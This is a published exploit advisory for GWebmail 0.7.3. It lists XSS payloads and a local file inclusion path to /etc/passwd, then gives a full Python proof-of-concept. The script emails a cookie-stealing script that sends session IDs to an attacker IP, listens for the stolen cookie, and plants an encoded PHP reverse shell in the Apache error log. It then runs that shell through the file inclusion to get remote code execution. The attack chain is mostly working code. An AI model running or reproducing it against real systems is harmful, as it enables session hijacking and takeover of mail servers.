GWebmail 0.7.3 – Cross-Site Scripting / Local File Inclusion / Remote Code Execution
#!/usr/bin/python ''' # Exploit Title: XSS & LFI RCE Vulnerabilities in GWebmail # Date: 11/08/2012 # Exploit Author: Shai rod (@NightRang3r) # Vendor Homepage: https://www.gwebmail.net # Software Link: https://www.gwebmail.net/download/ # Version: 0.7.3 #Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar About the Application: ====================== Gwebmail is an ajax powered webmail system with an interface similar to Gmail It is entirely written in PHP and uses MySQL to store messages It is modeled after the popular free email service from Google, gwebmail has a user friendly interface similar to Gmail but you will use this interface to access emails from your own servers ( unlike Gmail that will save your email into their servers ) GWebmail is vulnerable to the following: 1. DOM XSS. 2. Flash XSS. 3. Self XSS. 4. Post Auth Local File Inclusion. Maybe more....too lazy to keep going ;) Vulnerability Description: 1. XSS in Search Field. Injection Point: Search Field. Injection Payload(s): <script>alert("XSS")</script> XSS Can be also triggerd directly using the following url: http://10.0.0.6/gwebmail/?mail#Inbox.Search/<script>alert("XSS")</script> 2. DOM XSS. http://10.0.0.6/gwebmail/?mail#<script>alert("XSS")</script> 3. Flash XSS (Vulnerable SWFUpload version) Originally discovered by Neal Poole and Nathan Partlan(https://nealpoole.com/blog/2012/05/xss-and-csrf-via-swf-applets-swfupload-plupload/) URL to vulnerable flash object: http://10.0.0.6/gwebmail/modules/default/js/swfupload/swfupload.swf?movieName="]);}catch(e){}if(!self.a)self.a=!alert("XSS");// 4. Stored XSS in E-mail Subject. Injection Point: Subject Field Injection Payload(s): Hi<script>alert("XSS")</script> Steps to reproduce the XSS: Send an email to the victim with the payload in the subject field. XSS Will be triggered in message listings (Inbox etc..) and when user opens the email. 5. Stored XSS in Display Name and contacts display name. Injection Point: "Name" Field Injection Payload(s): testuser"><img src='https://www.exploit-db.com/exploits/20669/1.jpg'onerror=alert("XSS")> Steps to reproduce the XSS: Go to "Settings" -> "Account", In the "Name" field insert XSS payload. XSS will be triggered on the Account page and on the main page contacts widget. 6. Self XSS. Vulnerable Page URL: http://10.0.0.6/gwebmail/setup Injection Point: Username Field, Password Field Injection Payload(s): "><script>alert("XSS")</script> 7. Post Auth Local File Inclusion. http://10.0.0.6/gwebmail/?module=../../../../etc/passwd%00 Details: In order to exploit this LFI the attacker must be logged in to the system with a valid credentials. It is possible to gain access without credentials by exploiting the XSS issues and steal user cookie in order to gain Remote code execution using the LFI issue. Proof of concept is provided. ''' import smtplib, socket, re, urllib2,time print "###############################################" print "# GWebmail XSS+LFI RCE POC #" print "# Coded by: Shai rod #" print "# @NightRang3r #" print "# http://exploit.co.il #" print "# For Educational Purposes Only! #" print "###############################################\r\n" # SETTINGS sender = "attacker@localhost" smtp_login = sender smtp_password = "qwe123" recipient = "victim@localhost" smtp_server = "192.168.1.10" smtp_port = 25 subject = "GWebmail XSS+LFI POC" attacker_ip = "192.168.1.11" attacker_port = "4444" xss_payload = """<script>new Image().src="http://""" + attacker_ip + """/log.php?cookie="+encodeURI(document.cookie)</script>""" gwebmail_server = "192.168.1.10" apache_log = "../../../var/log/apache2/error.log" shell_sleep = 10 # SEND E-MAIL print "[*] Sending E-mail to " + recipient + "..." msg = ("From: %s\r\nTo: %s\r\nSubject: %s\r\n\r\n" % (sender, ", ".join(recipient), subject + xss_payload) ) msg += "POC MAIL\r\n" server = smtplib.SMTP(smtp_server, smtp_port) server.ehlo() server.starttls() server.login(smtp_login, smtp_password) server.sendmail(sender, recipient, msg) server.quit() # TCP LISTENER TO GET COOKIE TCP_IP = '0.0.0.0' TCP_PORT = 80 BUFFER_SIZE = 1024 print "\n[*] Setting up listener on port " + str(TCP_PORT) + "." print "\n[*] Waiting for victim to login (May take a while...)." s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((TCP_IP, TCP_PORT)) s.listen(1) conn, addr = s.accept() data = conn.recv(BUFFER_SIZE) conn.close() print "\r\n[+] Stealing Cookie..." # MATCH PHPSESSID m=re.compile('SSID=(.*?)HTTP').search(data) cookie = m.group(1) print "\r\n[+] PHP Session ID: " + cookie # EXPLOIT LFI opener = urllib2.build_opener() opener.addheaders.append(('Cookie', 'PHPSESSID=' + cookie)) shell_payload = "%3c%3f%70%68%70%20%24%61%64%64%72%3d%24%5f%52%45%51%55%45%53%54%5b%27%61%64%64%72%27%5d%3b%24%70%6f%72%74%3d%24%5f%52%45%51%55%45%53%54%5b%27%70%6f%72%74%27%5d%3b%69%66%20%28%21%28%24%73%6f%63%6b%3d%66%73%6f%63%6b%6f%70%65%6e%28%24%61%64%64%72%2c%24%70%6f%72%74%29%29%29%64%69%65%3b%77%68%69%6c%65%20%28%21%66%65%6f%66%28%24%73%6f%63%6b%29%29%20%20%7b%24%63%6d%64%20%20%3d%20%66%67%65%74%73%28%24%73%6f%63%6b%29%3b%24%70%69%70%65%20%3d%20%70%6f%70%65%6e%28%24%63%6d%64%2c%27%72%27%29%3b%77%68%69%6c%65%20%28%21%66%65%6f%66%28%24%70%69%70%65%29%29%66%77%72%69%74%65%20%28%24%73%6f%63%6b%2c%20%66%67%65%74%73%28%24%70%69%70%65%29%29%3b%70%63%6c%6f%73%65%28%24%70%69%70%65%29%3b%7d%66%63%6c%6f%73%65%28%24%73%6f%63%6b%29%3b%3f%3e" print "\n[*] Poisoning Apache Error Log..." try: lfi = opener.open("http://" + gwebmail_server + "/" + shell_payload) except urllib2.HTTPError, e: print "\n[+] Please setup a netcat listener on port " + attacker_port + ", Shell will be triggered in " + str(shell_sleep) + " seconds..." time.sleep(shell_sleep) print "\n[*] Triggering Shell..." + " http://" + gwebmail_server + "/?module=" + apache_log + "%00" + "&addr=" + attacker_ip + "&port=" + attacker_port lfi = opener.open("http://" + gwebmail_server + "/?module=" + apache_log + "%00" + "&addr=" + attacker_ip + "&port=" + attacker_port) print "\n[+] Bye..." |